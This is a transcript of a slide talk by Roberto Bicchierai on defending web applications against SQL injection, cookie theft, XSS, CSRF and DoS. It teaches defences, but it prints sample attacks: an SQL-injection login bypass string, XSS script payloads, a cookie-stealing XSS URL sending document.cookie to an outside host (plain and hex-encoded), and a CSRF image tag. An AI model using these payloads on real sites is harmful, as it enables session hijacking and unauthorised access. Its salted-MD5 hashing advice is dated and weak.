roberto bicchierai - defending web applications from attacks
DESCRIPTION
Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.TRANSCRIPT
![Page 2: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/2.jpg)
“Web apps w.t.f.?”
• Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)
• Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainly for a restricted group of users)
• Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
![Page 3: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/3.jpg)
This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
![Page 4: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/4.jpg)
Seems easy to say “security”…
Classical branches:
• Hardware security
• Cryptography
• Identity
![Page 5: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/5.jpg)
Cryptography
Every single byte you send can be read.
SSL does not guarantee 100% and slows down your apps.
Sniffing requires knowledge, software, hardware and physical access to wires.
![Page 6: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/6.jpg)
User identity
Username/e-mail and password• strength: “p455w0rD.” better than “password” or “p”• avoid login name, family name, birth date, phone number,
child or pet’s names (remember Joshua!)• try to avoid dictionary ones (record number of attempts!)
• never store passwords on your db
The new dictionary: why “qazwsxedc” is not so strong?
OpenID is a suitable alternative for some web apps.
Biometrics are NOT.
Dati biometrici (difficilmente usabili)
![Page 7: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/7.jpg)
Did I miss something?
• My servers are in a fortress• 3 firewall levels (and one dragon)
• I use 56 chars non-alpha pwd• pwd expires every 10 days• I use SSL 1024(128) bit
encryption• I hung blu velvet curtains to
the windows
![Page 8: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/8.jpg)
Your app sucks!
• Injection• Cookies• XSS• CSRF
The problem is in the application…
![Page 9: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/9.jpg)
Injection: I don’t need a password!
jsmith
a’ or ‘a’=‘a
“select * from users where username=‘” + login +”’ and password=‘” + password +”’ ”
Earth 2010:lots of applications are still open to the classical sql injection vulnerability:
DON’
T
![Page 10: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/10.jpg)
Damned HTML… and your browsers
3 ingredients make web apps vulnerable:1. HTML was not for applications! But it is! (code
injection is too easy)
2. HTTP uses cookies for handling sessions3. Javascript, that is ubiquitous in a page (and reads
cookies)
but mainly
browsers
![Page 11: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/11.jpg)
Remember me!
Salted cookies, salted cookies!
Use salt and pepper to hash login data.Do not make them reversible!
md5(user.id+”hash”)
md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
![Page 12: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/12.jpg)
Protect cookies!
lost cookies = session stolen, now I’m you!
Hard to recover! Quite “easy” to prevent
• use HttpOnly cookies• restrict cookie’s scope by setting host, path,
expiry• encrypt data saved on cookies
![Page 13: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/13.jpg)
Injection reloaded: aka XSS
notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>
notes:
</textarea><script>alert(“you stink!”)</script>
your name: john “> <script>alert(“I can do everything!”)</script>
this is the basics of XSS
JSP-ASP example:
![Page 14: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/14.jpg)
XSS
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
How I’ll get your cookies:
“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
![Page 15: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/15.jpg)
XSS: encode user inputs
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
Do not think it’s easy:
if (userInputs.contains(“<script>”))killTheUser();
it doesn’t work!
Do you recognize this? It is the same script!
Some browsers accept Ascii, hex, octal, url encoding, unicode, html, etc.
![Page 16: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/16.jpg)
XSS: encode user inputs
The safest solution?• Limit user inputs to plain text • Html encode every single field
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie</script>
Sweet dreams! This is always safe!
![Page 17: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/17.jpg)
XSS: no plain text? so, pain test!
Your app allows rich text inputs?Did your user need the full power of HTML? Try
to avoid using it. Use a lightweight markup language instead.
• Markdown• Textile• BBCode• Wikipedia
![Page 18: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/18.jpg)
XSS: I like HTML
Sanitizing an HTML input is really hard work.Do not be shy:
• restrict allowed tags: <i><b><a><u><br><hr>• kill dangerous tags: <script><object><embed>etc.• test urls: <a href=“javascript: or background-image:url(‘…• limit css styles, e.g.: position
HtmlEncode all the rest!
![Page 19: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/19.jpg)
XSS: test your pages
There are about 150 different XSS exploits!
Test inputs using examples on
http://ha.ckers.org/xss.htmlwith different browsers and versions. Use XSSme plugin for FireFox.
![Page 20: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/20.jpg)
Mission accomplished. XSS destroyed!
Does the user exactly know what she is doing?
Everytime?
next target:Cross Site Request Forgery
click here
![Page 21: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/21.jpg)
CSRF: how does it work?
1. John is authenticated on site A. e.g.: stoks.example.com
2. John visit the site B reading news: hotStoksNews.goodboy.com
3. B contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>
4. John is now an happy owner of 1000 KRAK shares!
![Page 22: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/22.jpg)
CSRF: protect your app
There aren’t many solutions:
Server-sideGenerated
Tokens!
![Page 23: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/23.jpg)
CSRF & Tokens: how to
1) your server generates a random number and: - insert it as hidden parameter in the form
(or in the url in case of get)
- store it in the user session 2) when the form request is received a hidden
parameter is matched with the in-session one
![Page 24: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/24.jpg)
CSRF & Tokens
Pros:1. safe
2. safe
3. safe
Cons:1. reloading a page (F5) will
generate “invalid token error”
2. if a page has different entry points token generation may be annoying
![Page 25: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/25.jpg)
API: a new enemy?
REST, JSON, XML API are not evil in themself, but:
1. there is no “standard” authentication2. when used with JS clients this may reveal the
user key3. you are exposing new ways for xss and csrf
![Page 26: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/26.jpg)
DoS: Denial of Service• DoS protocol level: nothing to do… use
intelligent gateways/router
• DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions
• Use session-less pages until authentication
“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
![Page 27: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/27.jpg)
Your app rocks!
1. use strong passwords2. keep data in safe place3. do not store user’s passwords4. salt and pepper everywhere5. use SSL6. use Httponly cookies7. encode user inputs or sanitize them8. use server-side tokens for critical actions9. expose a read-only API
![Page 28: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/28.jpg)
“Don’t be evil”
![Page 29: Roberto Bicchierai - Defending web applications from attacks](https://reader033.vdocument.in/reader033/viewer/2022051613/54c7d0a24a7959fa6e8b4599/html5/thumbnails/29.jpg)
Thank you!
Now: Q&Aa starting point with a collection of security related links:
http://delicious.com/robicch/security
my Java sanitizer: http://roberto.open-lab.com